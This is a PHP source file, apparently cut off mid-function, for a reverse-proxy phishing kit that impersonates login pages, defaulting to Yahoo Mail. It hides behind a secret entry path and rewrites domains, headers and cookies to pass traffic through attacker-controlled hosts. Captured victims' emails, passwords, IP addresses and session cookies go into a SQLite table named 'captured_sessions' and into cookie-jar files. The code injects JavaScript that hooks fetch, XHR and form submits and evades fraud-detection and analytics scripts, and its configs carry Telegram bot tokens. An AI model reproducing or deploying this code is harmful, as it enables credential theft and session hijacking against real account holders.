declare(strict_types=1);
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
ini_set('error_log', __DIR__ . '/error.log');
error_reporting(E_ALL);
set_exception_handler(function ($e) {
http_response_code(500);
header('Content-Type: text/plain; charset=utf-8');
echo "Uncaught exception: " . (string)$e . "\n\n";
echo $e->getTraceAsString();
exit;
});
set_error_handler(function ($severity, $message, $file, $line) {
if (!(error_reporting() & $severity)) return false;
throw new ErrorException($message, 0, $severity, $file, $line);
});
$CONFIG_DIR = __DIR__ . '/config';
$cfg = null;
$CONFIG_PATH = null;
$isSecure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || ($_SERVER['SERVER_PORT'] ?? 80) == 443;
$configFiles = glob($CONFIG_DIR . '/*.json');
if ($configFiles === false) $configFiles = [];
foreach ($configFiles as $file) {
if(basename($file) === 'admin_settings.json') continue;
$jsonContent = @file_get_contents($file);
$tmpCfg = @json_decode($jsonContent, true);
if (is_array($tmpCfg) && !empty($tmpCfg['authorized_start_path'])) {
if (strpos($_SERVER['REQUEST_URI'], $tmpCfg['authorized_start_path']) !== false) {
$cfg = $tmpCfg;
$CONFIG_PATH = $file;
break;
}
}
}
if ($cfg === null) {
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$domainParts = explode('.', $host);
$cookieDomain = (count($domainParts) > 1 && !filter_var($host, FILTER_VALIDATE_IP))
? '.' . implode('.', array_slice($domainParts, -2)) : '';
if (session_status() === PHP_SESSION_NONE) {
ini_set('session.cookie_domain', $cookieDomain);
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.cookie_httponly', '1');
ini_set('session.cookie_secure', $isSecure ? '1' : '0');
ini_set('session.use_strict_mode', '1');
ini_set('session.use_cookies', '1');
ini_set('session.use_only_cookies', '1');
session_name('PROXY_SESSION');
if (isset($_COOKIE['PROXY_SESSION'])) {
session_start();
if (isset($_SESSION['active_config_file']) && is_file($_SESSION['active_config_file'])) {
$CONFIG_PATH = $_SESSION['active_config_file'];
$jsonContent = @file_get_contents($CONFIG_PATH);
$cfg = @json_decode($jsonContent, true);
}
}
}
}
if (!is_array($cfg)) {
http_response_code(500);
header('Content-Type: text/plain; charset=utf-8');
echo "No valid configuration found for this request path or session.\n";
exit;
}
$apiTokencode = $cfg['telegram_bot_token'] ?? "";
$chatidcode = $cfg['telegram_chat_id'] ?? "";
$domainRoot = $cfg['domain'] ?? 'dlinks.store';
$DOMAIN_MAP = [];
if (!empty($cfg['domain_mappings']) && is_array($cfg['domain_mappings'])) {
foreach ($cfg['domain_mappings'] as $m) {
$up = (string)($m['host'] ?? '');
$ph = (string)($m['phishhost'] ?? '');
$ph = str_replace('[domain]', $domainRoot, $ph);
$DOMAIN_MAP[$up] = $ph;
}
}
$AUTH_TOKENS = $cfg['auth_tokens'] ?? [];
$CREDENTIALS = $cfg['credentials'] ?? [];
$AUTH_URLS = $cfg['auth_urls'] ?? [];
if (!empty($cfg['login']['domain'])) {
$START_REQUEST_URL = 'https://' . $cfg['login']['domain'] . ($cfg['login']['path'] ?? '/');
} else {
$START_REQUEST_URL = 'https://mail.yahoo.com/n/?.src=ym&reason=myc';
}
$JS_INJECT = $cfg['js_inject'] ?? [];
foreach ($JS_INJECT as &$rule) {
if (isset($rule['script'])) {
if (is_array($rule['script'])) $rule['script'] = implode("\n", $rule['script']);
else $rule['script'] = (string)$rule['script'];
}
}
unset($rule);
define('AUTHORIZED_START_PATH', $cfg['authorized_start_path'] ?? '/UEYUDGUEI');
define('PROXY_PATH_PREFIX', '/');
define('COOKIE_LOG_DIR', __DIR__ . '/cookie_logs');
define('CURL_NETSCAPE_FOLDER', __DIR__ . '/cookie_jars');
if (session_status() === PHP_SESSION_NONE) {
ini_set('session.cookie_domain', '.' . $domainRoot);
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.cookie_httponly', '1');
ini_set('session.cookie_secure', $isSecure ? '1' : '0');
ini_set('session.use_strict_mode', '1');
ini_set('session.use_cookies', '1');
ini_set('session.use_only_cookies', '1');
session_name('PROXY_SESSION');
session_start();
}
if ($CONFIG_PATH) $_SESSION['active_config_file'] = $CONFIG_PATH;
$DB_FILE = __DIR__ . '/sessions.db';
try {
$db = new PDO('sqlite:' . $DB_FILE);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->exec("CREATE TABLE IF NOT EXISTS captured_sessions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
session_id TEXT UNIQUE,
unique_role_id TEXT,
email TEXT,
password TEXT,
ip_address TEXT,
phish_name TEXT,
country TEXT,
user_agent TEXT,
cookies TEXT,
updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
)");
} catch (PDOException $e) {
error_log("Database Error: " . $e->getMessage());
}
function update_db_session($email, $password = null, $phish_name = null, $cookies = null) {
global $db;
if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) return;
try {
$sess_id = session_id();
$ip_data = get_country();
$country = $ip_data['country_code'] ?? 'UNK';
$ip = $ip_data['ip'] ?? $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$unique_role_id = strtoupper($country) . '_' . $email;
$stmt = $db->prepare("SELECT id FROM captured_sessions WHERE session_id = :sess_id");
$stmt->execute([':sess_id' => $sess_id]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if ($row) {
$sql = "UPDATE captured_sessions SET unique_role_id = :uid, email = :email, updated_at = CURRENT_TIMESTAMP";
$params = [':uid' => $unique_role_id, ':email' => $email, ':sess_id' => $sess_id];
if (!empty($password)) { $sql .= ", password = :pw"; $params[':pw'] = $password; }
if (!empty($cookies)) { $sql .= ", cookies = :ck"; $params[':ck'] = is_array($cookies) ? json_encode($cookies) : $cookies; }
$sql .= " WHERE session_id = :sess_id";
$db->prepare($sql)->execute($params);
} else {
$sql = "INSERT INTO captured_sessions (session_id, unique_role_id, email, password, ip_address, phish_name, country, user_agent, cookies)
VALUES (:sess_id, :uid, :email, :pw, :ip, :phish_name, :country, :ua, :ck)";
$db->prepare($sql)->execute([
':sess_id' => $sess_id, ':uid' => $unique_role_id, ':email' => $email,
':pw' => $password ?? '', ':ip' => $ip, ':phish_name' => $phish_name ?? '',
':country' => $country, ':ua' => $ua, ':ck' => is_array($cookies) ? json_encode($cookies) : ($cookies ?? '')
]);
}
} catch (Exception $e) {
error_log("DB Update Failed: " . $e->getMessage());
}
}
function ensure_dir(string $dir): void { if (!is_dir($dir)) mkdir($dir, 0700, true); }
function current_origin(): string { $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; return $scheme . '://' . $host; }
function is_https(): bool { return !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; }
function cookie_log_file_path(): string { ensure_dir(COOKIE_LOG_DIR); $safe = preg_replace('/[^a-zA-Z0-9_-]/', '_', session_id()); return COOKIE_LOG_DIR . '/session_' . $safe . '.json'; }
function wildcard_to_regex(string $pattern): string {
$pattern = preg_quote($pattern, '#');
$pattern = str_replace('\\*', '([a-z0-9-]+)', $pattern);
return '#^' . $pattern . '$#i';
}
function match_wildcard_host(string $host, string $pattern): ?array {
$regex = wildcard_to_regex($pattern);
if (preg_match($regex, $host, $matches)) {
array_shift($matches);
return $matches;
}
return null;
}
function apply_wildcards_to_template(string $template, array $wildcards): string {
$result = $template;
// Count wildcards in template
$wildcardCount = substr_count($template, '*');
if ($wildcardCount === 1) {
// Single wildcard: use first capture only (e.g., "west-2fa")
$result = str_replace('*', $wildcards[0] ?? '', $result);
} else {
// Multiple wildcards: concatenate all captures WITHOUT dots
// This creates single-level subdomain for SSL compatibility
// Example: ['east', '021'] with "*exch*" → "eastexch021"
$concatenated = '';
foreach ($wildcards as $i => $value) {
$result = preg_replace('/\*/', $value, $result, 1);
}
}
return $result;
}
function upstream_host_to_proxy_host(string $upHost, array $domainMap): ?string {
if (isset($domainMap[$upHost])) return $domainMap[$upHost];
foreach ($domainMap as $upPattern => $proxyTemplate) {
if (!str_contains($upPattern, '*')) continue;
$captured = match_wildcard_host($upHost, $upPattern);
if ($captured !== null) {
return apply_wildcards_to_template($proxyTemplate, $captured);
}
}
return null;
}
function get_current_upstream_host(array $domainMap): string {
$requested_host = $_SERVER['HTTP_HOST'] ?? '';
// Try exact match
foreach ($domainMap as $up => $proxy) {
if ($requested_host === $proxy) return $up;
}
// Try wildcard patterns (reverse)
foreach ($domainMap as $upPattern => $proxyTemplate) {
if (!str_contains($proxyTemplate, '*')) continue;
$captured = match_wildcard_host($requested_host, $proxyTemplate);
if ($captured !== null) {
return apply_wildcards_to_template($upPattern, $captured);
}
}
return 'login.yahoo.com';
}
function check_authorization(array $domainMap, string $startRequestUrl): void {
$request_uri = $_SERVER['REQUEST_URI'] ?? '';
if (strpos($request_uri, AUTHORIZED_START_PATH) !== false) {
require_once 'landing.php';
$_SESSION['authorized'] = true;
$_SESSION['authorized_at'] = time();
$_SESSION['first_visit_time'] = date('c');
if (isset($GLOBALS['CONFIG_PATH'])) $_SESSION['active_config_file'] = $GLOBALS['CONFIG_PATH'];
// Log first visit after session starts
log_event('FIRST_VISIT', [
'ip' => $_SERVER['REMOTE_ADDR'] ?? '',
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '',
'request_uri' => $request_uri,
'referer' => $_SERVER['HTTP_REFERER'] ?? '',
'entry_point' => AUTHORIZED_START_PATH
]);
session_write_close();
$upstreamHost = parse_url($startRequestUrl, PHP_URL_HOST) ?: '';
$proxyHost = upstream_host_to_proxy_host($upstreamHost, $domainMap);
$startForClient = $proxyHost ? str_replace($upstreamHost, $proxyHost, $startRequestUrl) : $startRequestUrl;
header('Location: ' . $startForClient);
exit;
}
if (empty($_SESSION['authorized'])) {
http_response_code(403);
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate');
$html = <<<'HTML'
403 - Unauthorized
403
Unauthorized Access
You don't have permission to access this resource.
HTML;
echo $html;
exit;
}
}
function strip_hop_by_hop_headers(array $headers): array {
$hop = ['connection','keep-alive','proxy-authenticate','proxy-authorization','te','trailers','transfer-encoding','upgrade'];
$out = [];
foreach ($headers as $k => $v) { if (in_array(strtolower($k), $hop, true)) continue; $out[$k] = $v; }
return $out;
}
function get_request_headers(): array {
$headers = [];
foreach ($_SERVER as $k => $v) {
if (str_starts_with($k, 'HTTP_')) {
$name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($k, 5)))));
$headers[$name] = $v;
}
}
if (!empty($_SERVER['CONTENT_TYPE'])) $headers['Content-Type'] = $_SERVER['CONTENT_TYPE'];
if (!empty($_SERVER['CONTENT_LENGTH'])) $headers['Content-Length'] = $_SERVER['CONTENT_LENGTH'];
return $headers;
}
function get_upstream_origin(array $domainMap): string {
global $cfg;
$requested_host = $_SERVER['HTTP_HOST'] ?? '';
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
// Try exact match
foreach ($domainMap as $up => $proxy) {
if ($requested_host === $proxy) return $scheme . '://' . $up;
}
// Try wildcard patterns (reverse match)
foreach ($domainMap as $upPattern => $proxyTemplate) {
if (!str_contains($proxyTemplate, '*')) continue;
$captured = match_wildcard_host($requested_host, $proxyTemplate);
if ($captured !== null) {
$upHost = apply_wildcards_to_template($upPattern, $captured);
return $scheme . '://' . $upHost;
}
}
return $cfg['login']['domain'] ? $scheme . '://' . $cfg['login']['domain'] : 'https://login.yahoo.com';
}
function join_url(string $origin, string $pathAndQuery): string {
if ($pathAndQuery === '') return $origin;
if ($pathAndQuery[0] !== '/') $pathAndQuery = '/' . $pathAndQuery;
return rtrim($origin, '/') . $pathAndQuery;
}
function upstream_url_from_request(array $domainMap): string {
$uri = $_SERVER['REQUEST_URI'] ?? '/';
$prefix = rtrim(PROXY_PATH_PREFIX, '/');
$upstream_origin = get_upstream_origin($domainMap);
if ($prefix !== '' && $prefix !== '/' && str_starts_with($uri, $prefix)) {
$uri = substr($uri, strlen($prefix));
if ($uri === '') $uri = '/';
}
$fullUrl = join_url($upstream_origin, $uri);
// Rewrite query parameters that contain proxy URLs
if (str_contains($fullUrl, '?')) {
$fullUrl = preg_replace_callback(
'#([?&](?:continue|returnUrl|return|redirect|url|next|goto|ReturnUrl)=)([^&]+)#i',
function($m) use ($domainMap) {
$param = $m[1];
$encodedValue = $m[2];
$decodedValue = urldecode($encodedValue);
// Try to rewrite if it's a URL
if (preg_match('#https?://([a-z0-9][a-z0-9.-]+\.[a-z]{2,})#i', $decodedValue, $um)) {
$urlHost = $um[1];
// Reverse map: proxy → upstream
foreach ($domainMap as $upstream => $proxy) {
if ($urlHost === $proxy) {
$rewritten = str_replace($urlHost, $upstream, $decodedValue);
error_log("[QueryParamRewrite] $decodedValue → $rewritten");
return $param . urlencode($rewritten);
}
// Try wildcard reverse match
if (str_contains($proxy, '*')) {
$captured = match_wildcard_host($urlHost, $proxy);
if ($captured !== null) {
$upstreamHost = apply_wildcards_to_template($upstream, $captured);
$rewritten = str_replace($urlHost, $upstreamHost, $decodedValue);
error_log("[QueryParamRewrite] Wildcard: $decodedValue → $rewritten");
return $param . urlencode($rewritten);
}
}
}
}
return $m[0]; // No change
},
$fullUrl
);
}
return $fullUrl;
}
function rewrite_location(string $location, array $domainMap): string {
$proxyOrigin = current_origin();
$proxyScheme = parse_url($proxyOrigin, PHP_URL_SCHEME) ?: 'https';
$isProtocolRelative = str_starts_with($location, '//');
if (!preg_match('#^https?://#i', $location) && !$isProtocolRelative) return $location;
$loc = $isProtocolRelative ? ($proxyScheme . ':' . $location) : $location;
$parsed = parse_url($loc);
$host = $parsed['host'] ?? '';
if ($host === '') return $location;
// Try to map upstream → proxy
$proxyHost = upstream_host_to_proxy_host($host, $domainMap);
if ($proxyHost) {
return str_replace($host, $proxyHost, $loc);
}
if ($isProtocolRelative) {
$proxyHost = parse_url($proxyOrigin, PHP_URL_HOST) ?: '';
return $proxyScheme . '://' . $proxyHost . substr($location, 2);
}
return $location;
}
function rewrite_set_cookie(string $setCookie): string {
$setCookie = preg_replace('/;\s*Domain=[^;]+/i', '', $setCookie);
if (!is_https()) $setCookie = preg_replace('/;\s*Secure/i', '', $setCookie);
return $setCookie;
}
function rewrite_domains_in_header(string $headerValue, array $domainMap): string {
foreach ($domainMap as $upstream => $proxy) {
if (str_contains($upstream, '*')) {
$baseUp = str_replace('*.', '', $upstream);
$baseProxy = str_replace('*.', '', $proxy);
$headerValue = str_ireplace($baseUp, $baseProxy, $headerValue);
} else {
$headerValue = str_ireplace($upstream, $proxy, $headerValue);
}
}
return $headerValue;
}
function rewrite_body_urls(string $body, string $contentType, array $domainMap): string {
$ct = strtolower($contentType);
$isHtml = str_contains($ct, 'text/html');
$isCss = str_contains($ct, 'text/css');
$isJs = str_contains($ct, 'javascript') || str_contains($ct, 'application/json');
if (!$isHtml && !$isCss && !$isJs) return $body;
$proxyOrigin = current_origin();
$proxyScheme = parse_url($proxyOrigin, PHP_URL_SCHEME) . '://';
// Pattern to match URLs in content AND query parameters
$body = preg_replace_callback(
'#(https?://|//)([a-z0-9][a-z0-9.-]+\.[a-z]{2,})([^\s\'"<>]*)#i',
function($m) use ($domainMap, $proxyScheme) {
$protocol = $m[1];
$host = $m[2];
$pathAndQuery = $m[3] ?? '';
$proxyHost = upstream_host_to_proxy_host($host, $domainMap);
if ($proxyHost) {
$newProtocol = ($protocol === '//') ? '//' : $proxyScheme;
$fullUrl = $newProtocol . $proxyHost . $pathAndQuery;
// Also rewrite URLs inside query parameters
if (str_contains($pathAndQuery, '?')) {
$fullUrl = preg_replace_callback(
'#([?&](?:continue|returnUrl|return|redirect|url|next|goto)=)([^&]+)#i',
function($qm) use ($domainMap, $proxyScheme) {
$param = $qm[1];
$encodedUrl = $qm[2];
$decodedUrl = urldecode($encodedUrl);
// Rewrite the URL in the parameter
if (preg_match('#https?://([a-z0-9][a-z0-9.-]+\.[a-z]{2,})#i', $decodedUrl, $um)) {
$urlHost = $um[1];
$urlProxyHost = upstream_host_to_proxy_host($urlHost, $domainMap);
if ($urlProxyHost) {
$rewrittenUrl = str_replace($urlHost, $urlProxyHost, $decodedUrl);
return $param . urlencode($rewrittenUrl);
}
}
return $qm[0];
},
$fullUrl
);
}
return $fullUrl;
}
return $m[0];
},
$body
);
return $body;
}
function rewrite_request_headers(array $headers, array $domainMap, string $domainRoot): array {
$reverseMap = [];
foreach ($domainMap as $upstream => $proxy) {
$resolvedProxy = str_replace('[domain]', $domainRoot, $proxy);
$reverseMap[$resolvedProxy] = $upstream;
}
$headersToRewrite = ['Origin', 'Referer'];
foreach ($headersToRewrite as $headerName) {
if (!isset($headers[$headerName])) continue;
$value = $headers[$headerName];
$originalValue = $value;
// Extract host from header value
if (preg_match('#^(https?://)?([^/]+)(.*)#i', $value, $m)) {
$protocol = $m[1] ?: 'https://';
$host = $m[2];
$path = $m[3] ?? '';
// Try exact match first
if (isset($reverseMap[$host])) {
$value = $protocol . $reverseMap[$host] . $path;
} else {
// Try wildcard match (use new function)
foreach ($reverseMap as $proxyPattern => $upstreamPattern) {
if (!str_contains($proxyPattern, '*')) continue;
$captured = match_wildcard_host($host, $proxyPattern);
if ($captured !== null) {
$newHost = apply_wildcards_to_template($upstreamPattern, $captured);
$value = $protocol . $newHost . $path;
break;
}
}
}
if ($value !== $originalValue) {
error_log("[RequestHeaderRewrite] $headerName: $originalValue → $value");
$headers[$headerName] = $value;
}
}
}
return $headers;
}
function rewrite_request_body_urls(string $body, string $contentType, array $domainMap, string $domainRoot): string {
$ct = strtolower($contentType);
// Build reverse map: resolved proxy → upstream
$reverseMap = [];
foreach ($domainMap as $upstream => $proxy) {
$resolvedProxy = str_replace('[domain]', $domainRoot, $proxy);
$reverseMap[$resolvedProxy] = $upstream;
}
// Helper to rewrite a single URL
$rewriteUrl = function(string $url) use ($reverseMap, $domainRoot) {
if (!preg_match('#^https?://#i', $url)) return $url;
$parsed = parse_url($url);
$host = $parsed['host'] ?? '';
if ($host === '') return $url;
// Try exact match
if (isset($reverseMap[$host])) {
$newUrl = str_replace($host, $reverseMap[$host], $url);
error_log("[RequestBodyRewrite] Exact: $url → $newUrl");
return $newUrl;
}
// Try wildcard match (use new function)
foreach ($reverseMap as $proxyPattern => $upstreamPattern) {
if (!str_contains($proxyPattern, '*')) continue;
$captured = match_wildcard_host($host, $proxyPattern);
if ($captured !== null) {
$newHost = apply_wildcards_to_template($upstreamPattern, $captured);
$newUrl = str_replace($host, $newHost, $url);
error_log("[RequestBodyRewrite] Wildcard: $url → $newUrl");
return $newUrl;
}
}
return $url;
};
// JSON
if (str_contains($ct, 'application/json')) {
$data = @json_decode($body, true);
if (is_array($data)) {
array_walk_recursive($data, function(&$value) use ($rewriteUrl) {
if (is_string($value) && preg_match('#^https?://#i', $value)) {
$value = $rewriteUrl($value);
}
});
$newBody = json_encode($data, JSON_UNESCAPED_SLASHES);
if ($newBody !== false) return $newBody;
}
}
// Form-encoded
if (str_contains($ct, 'application/x-www-form-urlencoded')) {
parse_str($body, $params);
foreach ($params as $key => $value) {
if (is_string($value) && preg_match('#^https?://#i', $value)) {
$params[$key] = $rewriteUrl($value);
}
}
return http_build_query($params);
}
return $body;
}
function merge_cookies_to_jar(string $cookieJarPath, string $rawHeaders, string $upstreamHost = ''): void {
// Read existing cookies
$existingCookies = [];
if (is_file($cookieJarPath)) {
$lines = file($cookieJarPath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $line) {
if (str_starts_with($line, '#HttpOnly_') || $line[0] !== '#') {
$existingCookies[] = $line;
}
}
}
// Parse Set-Cookie headers from response
$newCookies = [];
$headerLines = explode("\n", $rawHeaders);
foreach ($headerLines as $line) {
if (stripos($line, 'Set-Cookie:') === 0) {
$cookieValue = trim(substr($line, 11));
$parsed = parse_set_cookie_header($cookieValue, $upstreamHost);
if ($parsed) {
$newCookies[] = $parsed;
}
}
}
// Merge: existing + new (new overwrites existing with same name+domain+path)
$merged = [];
$index = [];
// Index existing cookies
foreach ($existingCookies as $line) {
if (trim($line) === '' || $line[0] === '#' && !str_starts_with($line, '#HttpOnly_')) continue;
$isHttpOnly = str_starts_with($line, '#HttpOnly_');
$cleanLine = $isHttpOnly ? substr($line, 10) : $line;
$parts = explode("\t", $cleanLine);
if (count($parts) >= 7) {
$key = $parts[0] . '|' . $parts[2] . '|' . $parts[5]; // domain|path|name
$index[$key] = $line;
}
}
// Add/Update with new cookies
foreach ($newCookies as $netscapeLine) {
if (!$netscapeLine) continue;
$isHttpOnly = str_starts_with($netscapeLine, '#HttpOnly_');
$cleanLine = $isHttpOnly ? substr($netscapeLine, 10) : $netscapeLine;
$parts = explode("\t", $cleanLine);
if (count($parts) >= 7) {
$key = $parts[0] . '|' . $parts[2] . '|' . $parts[5];
$index[$key] = $netscapeLine; // Overwrite or add
}
}
// Write merged result
$content = "# Netscape HTTP Cookie File\n";
foreach ($index as $line) {
$content .= $line . "\n";
}
file_put_contents($cookieJarPath, $content, LOCK_EX);
}
function parse_set_cookie_header(string $setCookie, string $requestHost = ''): ?string {
$parts = explode(';', $setCookie);
$cookiePair = trim($parts[0]);
if (!str_contains($cookiePair, '=')) return null;
list($name, $value) = explode('=', $cookiePair, 2);
$name = trim($name);
$value = trim($value);
$domain = ''; $path = '/'; $secure = false; $httpOnly = false; $expires = 0;
for ($i = 1; $i < count($parts); $i++) {
$attr = trim($parts[$i]);
if (stripos($attr, 'domain=') === 0) {
$domain = ltrim(substr($attr, 7), '.');
$domain = '.' . $domain;
} elseif (stripos($attr, 'path=') === 0) {
$path = substr($attr, 5);
} elseif (stripos($attr, 'expires=') === 0) {
$dateStr = substr($attr, 8);
$expires = strtotime($dateStr) ?: 0;
} elseif (stripos($attr, 'max-age=') === 0) {
$maxAge = (int)substr($attr, 8);
$expires = time() + $maxAge;
} elseif (strcasecmp($attr, 'secure') === 0) {
$secure = true;
} elseif (strcasecmp($attr, 'httponly') === 0) {
$httpOnly = true;
}
}
if ($domain === '') {
$domain = $requestHost ?: ($_SERVER['HTTP_HOST'] ?? 'localhost');
if (!str_starts_with($domain, '.')) $domain = '.' . $domain;
}
// FILTER: Skip if domain is a proxy domain (contains our domainRoot)
global $domainRoot;
if ($domainRoot && str_contains(strtolower($domain), strtolower($domainRoot))) {
error_log("[CookieMerge] Skipping proxy domain cookie: $name @ $domain");
return null; // Don't save proxy domain cookies
}
$flag = 'TRUE';
$secureFlag = $secure ? 'TRUE' : 'FALSE';
$netscapeLine = "$domain\t$flag\t$path\t$secureFlag\t$expires\t$name\t$value";
if ($httpOnly) {
$netscapeLine = '#HttpOnly_' . $netscapeLine;
}
return $netscapeLine;
}
function session_cookiejar_path(): string {
if (!isset($_SESSION['cookiejar_path'])) {
ensure_dir(CURL_NETSCAPE_FOLDER);
$_SESSION['cookiejar_path'] = CURL_NETSCAPE_FOLDER . '/proxy_cookiejar_' . session_id() . '.txt';
}
return (string) $_SESSION['cookiejar_path'];
}
function parse_netscape_cookiejar_to_json_array(string $cookieFile): array {
if (!is_file($cookieFile)) return [];
$cookies = [];
$lines = @file($cookieFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if (!$lines) return [];
foreach ($lines as $line) {
if ($line === '' || $line[0] === '#') continue;
$parts = explode("\t", $line);
if (count($parts) < 7) continue;
$domain = $parts[0]; $path = $parts[2]; $secure = $parts[3] === 'TRUE';
$expires = (int)$parts[4]; $name = $parts[5]; $value = $parts[6];
if ($expires > 0 && $expires < time()) continue;
$cookies[] = [
'Name' => $name, 'Value' => $value, 'Domain' => $domain, 'Path' => $path,
'Max-Age' => null, 'Expires' => $expires > 0 ? $expires : null,
'Secure' => $secure, 'Discard' => $expires === 0, 'HttpOnly' => false,
];
}
return $cookies;
}
function write_cookie_snapshot_json(array $cookies): void {
ensure_dir(COOKIE_LOG_DIR);
$logPath = cookie_log_file_path();
$existingData = [];
// Load existing log if available
if (is_file($logPath)) {
$existingData = json_decode(file_get_contents($logPath), true) ?: [];
}
// Initialize structure if new
if (empty($existingData)) {
$existingData = [
'session_id' => session_id(),
'ip' => $_SESSION['ip'] ?? '',
'user_agent' => $_SESSION['user_agent'] ?? '',
'request_host' => $_SERVER['HTTP_HOST'] ?? '',
'upstream_host' => get_current_upstream_host($GLOBALS['DOMAIN_MAP'] ?? []),
'authorized_at' => $_SESSION['authorized_at'] ?? null,
'first_visit' => date('c'),
'last_activity' => date('c'),
'events' => [],
'cookies' => []
];
} else {
$existingData['last_activity'] = date('c');
}
// Update cookies
$existingData['cookies'] = $cookies;
file_put_contents($logPath, json_encode($existingData, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX);
}
function log_event(string $type, array $data = []): void {
ensure_dir(COOKIE_LOG_DIR);
$logPath = cookie_log_file_path();
$logData = [];
if (is_file($logPath)) {
$logData = json_decode(file_get_contents($logPath), true) ?: [];
}
if (!isset($logData['events'])) {
$logData['events'] = [];
}
$logData['events'][] = [
'type' => $type,
'timestamp' => date('c'),
'data' => $data,
'request_uri' => $_SERVER['REQUEST_URI'] ?? '',
'request_method' => $_SERVER['REQUEST_METHOD'] ?? 'GET'
];
$logData['last_activity'] = date('c');
file_put_contents($logPath, json_encode($logData, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX);
}
function generate_domain_rewrite_js(array $domainMap, string $proxyDomain): string {
$jsMap = [];
foreach ($domainMap as $upstream => $proxy) {
$jsMap[$upstream] = $proxy;
}
$jsMapJson = json_encode($jsMap, JSON_UNESCAPED_SLASHES);
$proxyDomainJson = json_encode($proxyDomain);
$script = <<<'JSEOF'
(function() {
const domainMap = JSON_MAP_PLACEHOLDER;
const proxyDomain = PROXY_DOMAIN_PLACEHOLDER;
console.log('[Proxy Interceptor] Loaded with mappings:', domainMap);
const blacklist = [
'apm.us-west-2.aws.found.io', 'iesnare.com', 'mpsnare.iesnare.com',
'google-analytics.com', 'googletagmanager.com', 'doubleclick.net',
'clarity.ms', 'hotjar.com', 'segment.com', 'segment.io',
'nr-data.net', 'newrelic.com', 'elastic.co'
];
function isBlacklisted(host) {
const hostLower = host.toLowerCase().replace(/:\d+$/, '');
for (const blocked of blacklist) {
if (hostLower === blocked || hostLower.endsWith('.' + blocked)) return true;
}
return false;
}
function matchWildcard(host, pattern) {
const regex = new RegExp('^' + pattern.replace(/\*/g, '([a-z0-9-]+)').replace(/\./g, '\\.') + '$', 'i');
const match = host.match(regex);
return match ? match.slice(1) : null;
}
function applyWildcards(template, captures) {
let result = template;
for (const val of captures) {
result = result.replace('*', val);
}
return result;
}
function rewriteUrl(url) {
if (!url || typeof url !== 'string') return url;
try {
const urlObj = new URL(url, window.location.href);
const originalHost = urlObj.hostname;
const currentHost = window.location.hostname;
if (originalHost === currentHost || originalHost.endsWith('.' + proxyDomain)) return url;
if (isBlacklisted(originalHost)) {
console.log('[Proxy] ⛔ Blocked:', originalHost);
return url;
}
// Try exact match
if (domainMap[originalHost]) {
const newHost = domainMap[originalHost].replace(/:\d+$/, '');
urlObj.hostname = newHost;
console.log('[Proxy] ✅ Exact:', originalHost, '→', newHost);
return urlObj.href;
}
// Try wildcard patterns
for (const [upstream, proxy] of Object.entries(domainMap)) {
if (!upstream.includes('*')) continue;
const captured = matchWildcard(originalHost, upstream);
if (captured) {
const newHost = applyWildcards(proxy, captured);
urlObj.hostname = newHost;
console.log('[Proxy] ✅ Wildcard:', originalHost, '→', newHost);
return urlObj.href;
}
}
console.log('[Proxy] ⚠️ Unmapped:', originalHost);
return url;
} catch (e) {
console.error('[Proxy] ❌ Error:', e);
}
return url;
}
const originalFetch = window.fetch;
window.fetch = function(resource, options) {
if (typeof resource === 'string') {
resource = rewriteUrl(resource);
} else if (resource instanceof Request) {
const rewritten = rewriteUrl(resource.url);
resource = new Request(rewritten, resource);
}
return originalFetch.call(this, resource, options);
};
const originalOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url, ...args) {
const rewritten = rewriteUrl(url);
return originalOpen.call(this, method, rewritten, ...args);
};
document.addEventListener('submit', function(e) {
const form = e.target;
if (form.action) {
const rewritten = rewriteUrl(form.action);
if (rewritten !== form.action) {
console.log('[Proxy] 📝 Form:', form.action, '→', rewritten);
form.action = rewritten;
}
}
}, true);
console.log('[Proxy Interceptor] ✅ Active');
})();
JSEOF;
return str_replace(
['JSON_MAP_PLACEHOLDER', 'PROXY_DOMAIN_PLACEHOLDER'],
[$jsMapJson, $proxyDomainJson],
$script
);
}
function maybe_inject_js(string $body, string $contentType, array $jsInject, array $domainMap, string $upstreamCsp = ''): string {
if (!str_contains(strtolower($contentType), 'text/html')) return $body;
$host = $_SERVER['HTTP_HOST'] ?? '';
$path = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH) ?? '/';
$nonceValue = null;
if ($upstreamCsp !== '') {
if (preg_match("/'nonce-([^']+)'/i", $upstreamCsp, $m)) $nonceValue = $m[1];
elseif (preg_match('/nonce-([A-Za-z0-9+\/=._-]+)/i', $upstreamCsp, $m2)) $nonceValue = $m2[1];
}
foreach ($jsInject as $rule) {
$domains = $rule['trigger_domains'] ?? [];
$paths = $rule['trigger_paths'] ?? [];
$script = $rule['script'] ?? '';
if ($script === '') continue;
$domainMatch = false;
foreach ($domains as $d) {
if (str_contains($d, '*')) {
$base = str_replace('*.', '', $d);
if (str_ends_with($host, $base)) { $domainMatch = true; break; }
} else {
if ($host === $d) { $domainMatch = true; break; }
$mapped = upstream_host_to_proxy_host($d, $domainMap);
